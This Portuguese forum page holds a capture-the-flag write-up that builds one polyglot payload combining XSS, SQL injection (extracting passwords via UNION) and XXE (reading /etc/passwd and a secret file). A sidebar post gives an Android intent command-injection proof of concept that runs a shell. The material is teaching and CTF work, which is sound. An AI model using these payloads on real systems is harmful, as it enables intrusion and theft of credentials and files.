Jump to content
  • Payload to rule them all

       (0 reviews)

    brenocss
     Share

    Hoje iremos acompanhar um writeup de um desafio do pwn2win 2020, criado pelo Caio Lüders, que nos permite aprender 3 vulnerabilidades conhecidas (XSS, SQL INJECTION e XXE) e categorizadas no OWASP Top 10 como Injection (top 1) e XXE (top 4).
    Para isso, vamos entender as vulnerabilidades envolvidas separadamente e depois explorar no desafio.

    O que é Reflected XSS

    Cross Site Script Refletido (Reflected XSS) é uma vulnerabilidade que explora a injeção de códigos na resposta HTTP que podem estar refletidos em diferentes contextos HTML e permitem execução de código JavaScript.

    Código vulnerável:

    ### Contexto de html
    <?php
            $nome = $_GET["nome"]; // Guarda o valor do parametro nome na variavel nome
            print '<h1>ola ' . $nome .'<h1>'; // Retorna no html <h1> ola $conteudo da variavel nome$ </h1>
    ?>

    O código PHP é vulnerável à XSS já que todo o conteúdo passado no parâmetro nome é retornado, sem sanitização, no HTML da página. Ou seja, se conseguimos injetar qualquer tag HTML podemos utilizar alguma tag que execute JavaScript (<script>alert(1)</script>, por exemplo) ou podemos utilizar tags com eventos (<img src=x onerror=alert(1)/>) como uma forma de executar JavaScript.

    XSS:

    http://localhost:8000/xsshtml.php?nome=<script>alert(1)</script>
    http://localhost:8000/xsshtml.php?nome=<img src=imageminvalida onerror=alert(1)>

    Código vulnerável:

    ### Contexto de atributo
    <?php
         $img = $_GET["img"]; // Pega o valor do parâmetro "img" e guarda dentro da variável "$img"
          print '<img src="' . $img .'">'; // Retorna no HTML da página <img src="CONTEUDO DA VARIAVEL $img">
    ?>

    Percebemos que o servidor está inserindo o parâmetro img dentro do atributo src da imagem. Uma maneira que podemos transformar isso em um XSS é fechar o atributo e a tag com “> e inicializar outra tag que execute JavaScript, <img src=x onerror=xss>, por exemplo. Outro caminho é injetar outro atributo que execute JavaScript.

    XSS:

    http://localhost:8000/xssatributo.php?img="><img src=imageminvalida onerror=alert(1)>
    http://localhost:8000/xssatributo.php?img=imageminvalida" onerror=alert(1)//

    Código vulnerável:

    ### Contexto de códigos JavaScript
    <?php
            $nome = $_GET["nome"]; // Pega o valor do parametro "nome" e guarda na variavel $nome
            print '<body>'; // Adiciona a tag <body> no HTML
    
            print '<script>nome=\'' . $nome .'\';console.log(nome)</script>'; // adiciona o <script>nome=COUNTEUDO DA VARIAVEL $nome;console.log(nome)</script> no HTML da pagina
    
            print '</body>';// adiciona tag </body> para fechar a tag no html
    ?>

    Para explorar o XSS com o payload teste'-alert(1)// fechamos a String nome com ' . Fizemos a operação de subtração para executar o JavaScript e comentamos o código restante com //.

    XSS:

    http://localhost:8000/xssjavascript.php?nome='-alert(1)//

     

    O que é SQL Injection

    SQL Injection é uma vulnerabilidade que explora como uma query SQL é montada e enviada para ser executada. Muitas vezes o desenvolvedor utiliza as entradas do usuário diretamente na query que será executada para fazer a consulta SQL sem nenhuma forma de tratamento.

    Código vulnerável:

    $usuario = $_POST['usuario'];
    $senha = $_POST['senha'];
    $sql = "SELECT * FROM usuarios WHERE usuario = '".$usuario."' AND senha = '".$senha."' ";
    $processa = mysql_query($sql);

    Explorando SQL Injection

    No exemplo abaixo temos uma consulta normal de SQL com as entradas usuais de um usuário :

    $usuario = "epicleetteam";
    $senha = "admin";

    Com as entradas acima a consulta SQL resulta no seguinte:

    SELECT * FROM usuarios WHERE usuario = 'epicleetteam' AND senha = 'admin'

    Demonstrando agora o que acontece quando enviamos entradas com aspas simples:

    $usuario = "epicleet'team";
    $senha = "admin";

    Com as entradas acima a consulta SQL resulta no seguinte:

    SELECT * FROM usuarios WHERE usuario = 'epicleet'team' AND senha = 'admin'

    Podemos notar que a aspa simples quebra a query e nos permite escapar da string e gerar um erro de sintaxe. Como escapamos da string conseguimos executar qualquer comando SQL.

    Exemplo executando o comando sleep para evitar o erro de sintaxe utilizamos o # para comentar o resto da query:

    $usuario = "epicleetteam' union select sleep(5)#";
    $senha = "admin";
    SELECT * FROM usuarios WHERE usuario = 'epicleet' union select sleep(5)#' AND senha = 'admin'

     

    O que é XXE

    XML External Entity (XXE) é uma característica do XML que nos permite criar uma referencia de um dado. Esse dado pode ser local ou remoto. Com isto a entidade passa a ter o valor contido no endereço referenciado e ao ser chamada retorna os dados desse endereço.

    Exemplo com arquivo local:

    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

    Saída:

    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
    messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
    gnx:x:999:999::/home/gnx:/bin/sh

    Exemplo com arquivo externo:

    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [  
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "https://epicleet.team/robots.txt" >]><foo>&xxe;</foo>

    Vamos ao desafio

    A ideia do desafio era explorar todas essas vulnerabilidades em uma única requisição. Sendo assim, a sua requisição precisa ser poliglota (ser entendida em diferentes contextos) e evitar com que uma exploração não atrapalhe a outra. Para começar escolhemos o SQL Injection.

    Para elaboração do payload separamos a resolução em 3 partes: SQLi, XXE e por fim XSS+XXE+SQLi.

    Código Fonte do desafio: https://github.com/pwn2winctf/challenges-2020/blob/master/web-A payload to rule them all/deploy/server/script/test_payload.js

    SQL Injection

    Os trechos destacados são responsáveis pela vulnerabilidade de SQL Injection e por validar caso ele tenha obtido sucesso. Depois disso, o desafio avalia se a saída da consulta do SQL possui a password do usuário. OBS: ${payload} é a entrada do atacante.

    Trecho do desafio vulnerável a SQL Injection:

    const sqli = await query(`SELECT * from posts where id='${payload}'`) //<- monta a query enviada para o sql
    await connection.end()
    return JSON.stringify(sqli).includes(users[0]["password"])    //<- Verifica se password esta no retorno da query

    Para retornar o conteúdo do password na query do SQL utilizamos o operador UNION.

    O operador union combina os resultados de duas ou mais queries em um único resultado, retornando todas as linhas pertencentes a todas as queries envolvidas na execução. Para utilizar o UNION, o número de colunas precisa ser idêntico em todas as queries.

    Sendo assim, começaremos descobrindo o número de colunas pela técnica baseada no tempo. Iremos variar a quantidade de colunas utilizando N vezes a palavra null e o comando sleep(5) para criar o delay. Desta forma verificaremos se a resposta foi impactada pelo delay (deu certo) ou não (deu errado):

    'UNION SELECT sleep(5)# (não demorou)
    'UNION SELECT sleep(5),null#  (não demorou)
    'UNION SELECT sleep(5),null,null#(demorou)

    Para confirmar que são exatamente 3 colunas adicionamos mais uma coluna e se não demorar garantimos a quantidade 3 de colunas

    'UNION SELECT sleep(5),null,null,null#  (não demorou)`

    Sendo assim, ao obter o numero de colunas correto podemos retornar o conteudo da senha com esse payload final

    'UNION SELECT null,null,(select password from users)#

    E assim fica a query executada pelo SQL:

    SELECT * from posts where id=''UNION SELECT null,null,(select password from users)#'

     

    XXE

    Trecho do desafio vulnerável a XXE:

    var my_secret = Math.random().toString(36).substring(2) ;//<- Gera numero aleatorio
    fs.writeFileSync("/home/gnx/script/xxe_secret",my_secret) //<- Escreve esse numero aleatorio no arquivo xxe_secret
    var doc = libxml.parseXml(payload, { noent: true ,nonet: true })// <- recebe as entradas do atacante e parseia o xml
    return doc.toString().includes(my_secret) //<- verifica se o conteúdo do arquivo my_secret aparece no retorno do xml

    Para o ataque de XXE somente utilizei o payload conhecido de leitura de arquivo

    <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///home/gnx/script/xxe_secret’>]><root>&test;</root>

    Porém para não atrapalhar o SQL Injection substituímos as aspas simples por aspas duplas.

    Assim ficamos com um payload poliglota que explora XXE e SQLi.

    Payload de XXE+SQLI:

    <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///home/gnx/script/xxe_secret">]><root>&test;</root>'UNION SELECT null,null,(select password from users)#

    XSS+XXE+SQLI

    A parte do XSS, supostamente mais simples, já que seria só definir a variável xss com o payload "xss=1", tornou-se a mais complicada pois era afetada pelos outros payloads, que acarretavam erros de sintaxe JavaScript.

    Trecho do código vulnerável:

    payload = sanitizeHtml(payload,{allowedTags:[]}) // <- Recebe a entrada do usuario e sanitiza com a funcao sanitizeHtml
    await page.goto(`data:text/html,<script>${payload}</script>`) // <- Coloca o conteudo sanitizado dentro da tag <script>
    const check = await page.evaluate("( typeof xss != 'undefined' ? true : false )") //<- verifica se a variavel xss esta definido

    Como todo o payload era passado em uma lib de sanitização antes de ser injetado no  browser (data:text/html,<script>${payload}</script>), deveríamos utilizar essa lib ao nosso favor para forçar a remoção do conteúdo dos outros ataques que atrapalham criar um JavaScript válido. Uma das remoções da lib é a de comentários. A lib  também remove todas as tags HTML. Sabendo disso, vamos usar essas características e juntar as vulnerabilidades. Exemplo:

    <tag aleatoria> é removido
    <!--é removido -->

    Remover o SQLl Injection do payload de XSS é bem fácil já que podemos injetar qualquer conteúdo antes das aspas simples precisando somente ser diferente de aspas simples e injetar qualquer conteúdo depois do comentário.

    SQL Injection com comentários do HTML:

    <!--’UNION SELECT (select password from users),null,null#-->

    Payload invalido com Sql Injection + XXE + XSS:

    <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///home/gnx/script/xxe_secret">]><root>xss=1//&test;</root><!--'UNION SELECT null,null,(select password from users)#-->

    A lib sanitizehtml, ao interpretar boa parte do conteudo xml como tag html, remove a maior parte da string.

    Partes restantes do payload depois do sanitize:

    ]>xss=1//&test;

    Erro ao acessar data:text/html,<script>]>xss=1//&test;</script>:

    Uncaught SyntaxError: Unexpected token ']'

    Percebemos que o conteúdo do xml estava atrapalhando o código JavaScript ao ser executado sem erros no browser. Para escapar criamos uma entidade <!ENTITY apagar SYSTEM "teste>/*"> com o conteúdo teste> para a lib remover algumas partes do xml.

    No entanto restaram alguns caracteres que estavam gerando o erro de sintaxe comentado anteriormente.Para isso utilizamos o comentário do JavaScript /* */ para comentar os caracteres “]> e o // para comentar todo o resto do payload.

    Payload Final usando comentário javascript:

    <!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///home/gnx/script/xxe_secret"><!ENTITY apagar SYSTEM "teste>/*">]><root>*/xss=1//&xxe;</root><!--' union select (select password from users),null,null

    Outra maneira era utilizar o CDATA para injetar esses caracteres especiais < e colocar o xss dentro de uma entidade do xml. O CDATA é importante pois na ausência do CDATA eles seriam interpretados pelo xml parser e teríamos problemas com o xxe.

    Payload Final

    <!DOCTYPE root [<!ENTITY test SYSTEM "file:///home/gnx/script/xxe_secret"><!ENTITY x "<![CDATA[ < ]]>xss=1//" >]><root>&test;</root><!--' union select (select password from users),null,null#-->

    Revisão: Leandro Fróes
    • Agradecer 1
    • l33t 1
     Share


    User Feedback

    Join the conversation

    You can post now and register later. If you have an account, sign in now to post with your account.
    Note: Your post will require moderator approval before it will be visible.

    Guest

    • This will not be shown to other users.
    • Add a review...

      ×   Pasted as rich text.   Paste as plain text instead

        Only 75 emoji are allowed.

      ×   Your link has been automatically embedded.   Display as a link instead

      ×   Your previous content has been restored.   Clear editor

      ×   You cannot paste images directly. Upload or insert images from URL.


  • Similar Content

    • By caioluders
      Esse artigo tem como objetivo introduzir as vulnerabilidades que ocorrem no Android por meio do abuso de Intents. Tentarei ser o mais introdutório possível e listarei todas as referências necessárias, para ajudar caso algum conceito pareça muito avançado. Será utilizado o aplicativo InjuredAndroid como exemplo de apk vulnerável. 541v3 para os companheiros da @duphouse! Sem eles esse texto não seria possível.
      Para mais conteúdos em português, recomendo a série de vídeos do Maycon Vitali sobre Android no geral, assim como a minha talk na DupCon com vulnerabilidades reais. Existe também o @thatmobileproject para posts sobre segurança em mobile.
      intent://
      Os Intents funcionam como a principal forma dos aplicativos se comunicarem internamente entre si. Por exemplo, se um aplicativo quer abrir o app InjuredAndroid ele pode iniciar-lo por meio de um Intent utilizando a URI flag13://rce. Abaixo um exemplo de código que realiza tal ação:
      Intent intent = new Intent(); intent.setData(Uri.parse("flag13://rce")); startActivity(intent); Além de aceitar todos os elementos de uma URI (scheme, host, path, query, fragment), um Intent também pode levar dados fortemente tipados por meio dos Intent Extras. Na prática, queries e extras são as formas mais comuns de passar dados entre os aplicativos. Eles serão discutidos com exemplos mais adiante.
      <intent-filter>
      Como o Android sabe a qual aplicativo se refere flag13://rce? O InjuredAndroid define um Intent Filter que diz quais tipos de Intent o Sistema Operacional deve enviar para ele. O Intent Filter é definido no AndroidManifest.xml.
      Vamos analizar a definição do Intent Filter relacionado a flag13://rce: https://github.com/B3nac/InjuredAndroid/blob/master/InjuredAndroid/app/src/main/AndroidManifest.xml
      <activity     android:name=".RCEActivity"     android:label="@string/title_activity_rce"     android:theme="@style/AppTheme.NoActionBar">     <intent-filter android:label="filter_view_flag11">         <action android:name="android.intent.action.VIEW" />         <category android:name="android.intent.category.DEFAULT" />         <category android:name="android.intent.category.BROWSABLE" />         <!-- Accepts URIs that begin with "flag13://” -->         <data             android:host="rce"             android:scheme="flag13" />     </intent-filter> </activity> O atributo name define qual Activity será inicializada. Como ele começa com ponto, o nome é resolvido para package+.RCEActivity = b3nac.injuredandroid.RCEActivity. Dentro do <intent-filter>, a action se refere ao tipo de ação que será executada. Existe uma miríade de tipos de ações que são definidas na classe Intent, porém, na maioria das vezes é utilizada a action padrão android.intent.action.VIEW.
      O elemento category contém propriedades extras que definem como o Intent vai se comportar. O valor android.intent.category.DEFAULT define que essa Activity pode ser inicializada mesmo se o Intent não tiver nenhum category. O valor android.intent.category.BROWSABLE dita que a Activity pode ser inicializada pelo browser. Isso é super importante pois transforma qualquer ataque em remoto. Por exemplo, supondo que o usuário entre em um site malicioso, esse site consegue inicializar um Intent que abre o App apenas se o Intent Filter tiver a propriedade BROWSABLE.
      A tag data especifica quais URLs vão corresponder com esse Intent Filter, no nosso caso, o scheme tem que ser flag13 e o host igual a rce, ficando flag13://rce. Todas as partes da URI como path, port, etc. podem ser definidas.

      flag13://rce
      Agora que entedemos como Intents e Intents Filters funcionam, vamos procurar alguma vulnerabilidade no flag13://rce (O "rce" ficou meio óbvio né). 🤷‍♂️
      Vejamos um trecho do código-fonte da Activity b3nac.injuredandroid.RCEActivity:
      49 if (intent != null && intent.data != null) { 50     copyAssets() 51     val data = intent.data 52     try { 53         val intentParam = data!!.getQueryParameter("binary") 54         val binaryParam = data.getQueryParameter("param") 55         val combinedParam = data.getQueryParameter("combined") 56         if (combinedParam != null) { 57             childRef.addListenerForSingleValueEvent(object : ValueEventListener { 58                 override fun onDataChange(dataSnapshot: DataSnapshot) { 59                     val value = dataSnapshot.value as String? 60                     if (combinedParam == value) { 61                         FlagsOverview.flagThirteenButtonColor = true 62                         val secure = SecureSharedPrefs() 63                         secure.editBoolean(applicationContext, "flagThirteenButtonColor", true) 64                         correctFlag() 65                     } else { 66                         Toast.makeText(this@RCEActivity, "Try again! :D", 67                                 Toast.LENGTH_SHORT).show() 68                     } 69                 } 70 71                 override fun onCancelled(databaseError: DatabaseError) { 72                     Log.e(TAG, "onCancelled", databaseError.toException()) 73                 } 74             }) 75         } A Activity é inicializada na função onCreate e é lá que o Intent será devidamente tratado. Na linha 49 o aplicativo checa se intent é nulo. Se não for, ele irá pegar algumas queries binary, param e combined. Se combined for nulo ele não entrará no if da linha 56 e irá para o seguinte else:
      76 else { 77 78     val process = Runtime.getRuntime().exec(filesDir.parent + "/files/" + intentParam + " " + binaryParam) 79     val bufferedReader = BufferedReader( 80             InputStreamReader(process.inputStream)) 81     val log = StringBuilder() 82     bufferedReader.forEachLine { 83         log.append(it) 84     } 85     process.waitFor() 86     val tv = findViewById<TextView>(R.id.RCEView) 87     tv.text = log.toString() 88 } Na linha 78, são passadas para a função Runtime.getRuntime().exec() as variáveis intentParam e binaryParam. Como essa função executa comandos no sistema, logo temos um Command Injection através do Intent. Vamos tentar explorá-lo! 😈
      Normalmente, num Command Injection, tentaríamos passar algum caractere para executar outro commando, como &, /, |, / ou ;, porém se tentarmos desse jeito o Android emitirá um erro referente à primeira parte do comando em filesDir.parent + "/files/", pois não encontrará o arquivo, ou dará erro de permissão e não executará o resto do nosso payload. Para resolvermos esse problema podemos subir de nível na estrutura de diretórios com ../ até chegarmos no diretório root (raiz), a partir daí podemos executar o /system/bin/sh e executar qualquer comando que quisermos.
      Nossa PoC terá os seguintes passos :
      Alvo clica num link malicioso. Browser abre um Intent para b3nac.injuredandroid.RCEActivity. A Activity RCEActivity executa o comando do atacante. Nosso index.html ficaria assim:
      <a href="flag13://rce?binary=..%2F..%2F..%2F..%2F..%2Fsystem%2Fbin%2Fsh%20-c%20%27id%27&param=1">pwn me</a> Deixo de tarefa de casa exfiltrar o resultado do comando, ou abrir uma reverse shell no Android. 😉
      S.Intent_Extras
      Agora digamos que ao invés de receber as variáveis via query, o App as recebesse via Intent Extras, como fazer? Para criar um Intent com Extras apenas usamos a função putExtra.
      Intent intent = new Intent(); intent.setData(Uri.parse("flag13://rce")); intent.putExtra("binary","../../../../../system/bin/sh -c 'id'"); intent.putExtra("param","1"); startActivity(intent); Ok, com isso conseguimos passar Intents Extras por meio de outro App, mas e pelo Browser? Nós podemos utilizar o scheme intent:// para isso! O Intent referente ao código acima ficaria assim :
      <a href="intent://rce/#Intent;scheme=flag13;S.binary=..%2F..%2F..%2F..%2F..%2Fsystem%2Fbin%2Fsh%20-c%20%27id%27;S.param=1;end">pwn me</a> Note que primeiro vem o scheme intent://, depois o host rce e logo após a string #Intent, que é obrigatória. A partir daí todas as variáveis são delimitadas por ;. Passamos o scheme=flag13 e definimos os Extras. O nome do Extra é precedido do tipo dele. Como o Extra binary é do tipo String, ele é definido com S.binary.
      Os Extras podem ter vários tipos. Como a documentação do scheme intent:// é escassa, o melhor jeito é ler o código fonte do Android que faz o parsing dele, com destaque para o seguinte trecho:
      if      (uri.startsWith("S.", i)) b.putString(key, value); else if (uri.startsWith("B.", i)) b.putBoolean(key, Boolean.parseBoolean(value)); else if (uri.startsWith("b.", i)) b.putByte(key, Byte.parseByte(value)); else if (uri.startsWith("c.", i)) b.putChar(key, value.charAt(0)); else if (uri.startsWith("d.", i)) b.putDouble(key, Double.parseDouble(value)); else if (uri.startsWith("f.", i)) b.putFloat(key, Float.parseFloat(value)); else if (uri.startsWith("i.", i)) b.putInt(key, Integer.parseInt(value)); else if (uri.startsWith("l.", i)) b.putLong(key, Long.parseLong(value)); else if (uri.startsWith("s.", i)) b.putShort(key, Short.parseShort(value)); else throw new URISyntaxException(uri, "unknown EXTRA type", i); ;end
      Podem existir vários tipos de vulnerabilidades oriundas dos Intents, incluindo RCE/SQLi/XSS ou até Buffer Overflow. Só vai depender da criatividade do desenvolvedor.
      Para estudar esse assunto mais a fundo, recomendo a leitura do blog do @bagipro_ (em Inglês) e dos reports públicos de Bug Bounty, também em Inglês.
      Uma outra observação é que além do InjuredAndroid, você também pode brincar com o Ovaa.
      |-|4ck th3 |>l4n3t 
      @caioluders
    • By Bruna Chieco
      Quatro falhas de segurança separadas afetam cerca de 30 milhões de endpoints individuais da Dell em todo o mundo. Segundo o ThreatPost, as vulnerabilidades dariam aos invasores controle e persistência quase completos sobre os dispositivos visados.
      Os bugs de alta gravidade foram encontrados pelos pesquisadores da Eclypsium, e podem permitir que atacantes remotos obtenham execução arbitrária de código no ambiente de pré-inicialização dos dispositivos Dell. De acordo com uma análise da empresa de segurança, os bugs afetam 129 modelos de laptops, tablets e desktops, incluindo dispositivos corporativos e de consumo, protegidos pelo Secure Boot, padrão de segurança que visa garantir que um dispositivo seja inicializado usando apenas software confiável para o fabricante do equipamento original.
      As falhas permitem que adversários de rede privilegiados contornem as proteções de inicialização segura, controlem o processo de inicialização do dispositivo e subvertam o sistema operacional e os controles de segurança de camadas superiores, dizem os pesquisadores.
      Os problemas afetam o recurso BIOSConnect do Dell SupportAssist, uma solução de suporte técnico pré-instalada na maioria das máquinas Dell baseadas em Windows e utilizada para realizar recuperações remotas do sistema operacional ou para atualizar o firmware no dispositivo. O relatório da Eclypsium observou que as vulnerabilidades específicas permitem que um invasor explore remotamente o firmware UEFI de um host e obtenha controle sobre o código mais privilegiado do dispositivo.
      A primeira vulnerabilidade, CVE-2021-21571, é o início de uma cadeia que pode levar à execução arbitrária de código. As outras três vulnerabilidades distintas e independentes (CVE-2021-21572, CVE-2021-21573, CVE-2021-21574) ajudam os atacantes a obter a execução arbitrária de código no ambiente de pré-inicialização no dispositivo de destino, disseram os pesquisadores.
    • By Bruna Chieco
      A Apple corrigiu duas vulnerabilidades 0-Day, aparentemente exploradas ativamente, e que afetavam o motor WebKit do navegador Safari. Segundo o BleepingComputer, as falhas no iOS podem ter sido usadas para invadir dispositivos antigos de iPhone (iPhone 5s, iPhone 6, iPhone 6 Plus), iPads (iPad Air, iPad mini 2, iPad mini 3), e iPod touch 6ª geração.
      Os dois bugs são causados por corrupção de memória e uso após problemas livres no motor do navegador WebKit, mecanismo de renderização de navegador usado por navegadores e aplicativos da Apple para renderizar conteúdo HTML em plataformas de desktop e móveis, incluindo iOS, macOS, tvOS e iPadOS.
      Os invasores podem explorar as duas vulnerabilidades usando conteúdo da Internet criado com códigos maliciosos, o que acionaria a execução arbitrária de códigos depois de serem carregados pelos alvos em dispositivos sem patch (correção).
      A Apple divulgou comunicado sobre as atualizações de segurança, disponibilizadas aqui.
    • By Bruna Chieco
      A Apple disponibilizou o macOS Big Sur 11.4, e a recomendação é que os usuários de MacBook façam uma atualização o mais rápido possível. Isso porque um malware que faz capturas de tela secretamente foi detectado explorando uma séria falha na segurança do macOS.
      A falha pode ser explorada para gravação de vídeo ou acesso a arquivos, tornando a correção mais urgente. A descoberta foi feita pela empresa de segurança cibernética Jamf durante a pesquisa sobre o malware XCSSET, descoberto pela Trend Micro em 2020. 
      "Descobrimos que esse desvio está sendo explorado ativamente durante a análise adicional do malware XCSSET, após notar um aumento significativo de variantes detectadas por aí. A equipe de detecção observou que, uma vez instalado no sistema da vítima, o XCSSET estava usando esse desvio especificamente com o objetivo de tirar capturas de tela da área de trabalho do usuário sem exigir permissões adicionais", diz a empresa.
      A Jamf destaca que o malware foi escrito em AppleScript, uma linguagem de script desenvolvida pela Apple, facilitando o controle sobre aplicativos Mac. Na maior parte do tempo, o autor do malware aproveita AppleScripts em sua cadeia de ataque devido à facilidade com que lida com muitos comandos bash, até mesmo baixando e/ou executando scripts Python, tentando sempre ofuscar suas intenções usando várias linguagens de script.
      A empresa traz mais detalhes de como funciona o malware, e alerta para que usuários atualizem seus sistemas, já que a Apple corrigiu recentemente esse problema, evitando que o XCSSET abuse dessa vulnerabilidade no futuro.
    • By Bruna Chieco
      O WP Statistics, plug-in do WordPress, tem uma vulnerabilidade de segurança de injeção de SQL que pode permitir que visitantes do site obtenham todos os tipos de informações confidenciais de bancos de dados, incluindo e-mails, dados de cartão de crédito, senhas e mais. Quem descobriu o bug foram os pesquisadores do Wordfence, e um patch já foi lançado para corrigir a falha.
      Segundo publicação da empresa de segurança, o plug-in já foi instalado em mais de 600 mil sites WordPress. Ele fornece aos proprietários de sites estatísticas detalhadas sobre os visitantes, incluindo quais páginas do site eles visitam. O administrador do site pode acessar o item de menu “Pages” e gerar uma consulta SQL para exibir estatísticas sobre quais páginas receberam mais tráfego. A falha de alta gravidade na função “Pages” abre brecha para que qualquer visitante do site, mesmo sem um login, faça uma consulta SQL.
      Para usuários com o plug-in instalado em seu site, a Wordfence recomenda a atualização para a versão corrigida 13.0.8 o mais rápido possível. 
×
×
  • Create New...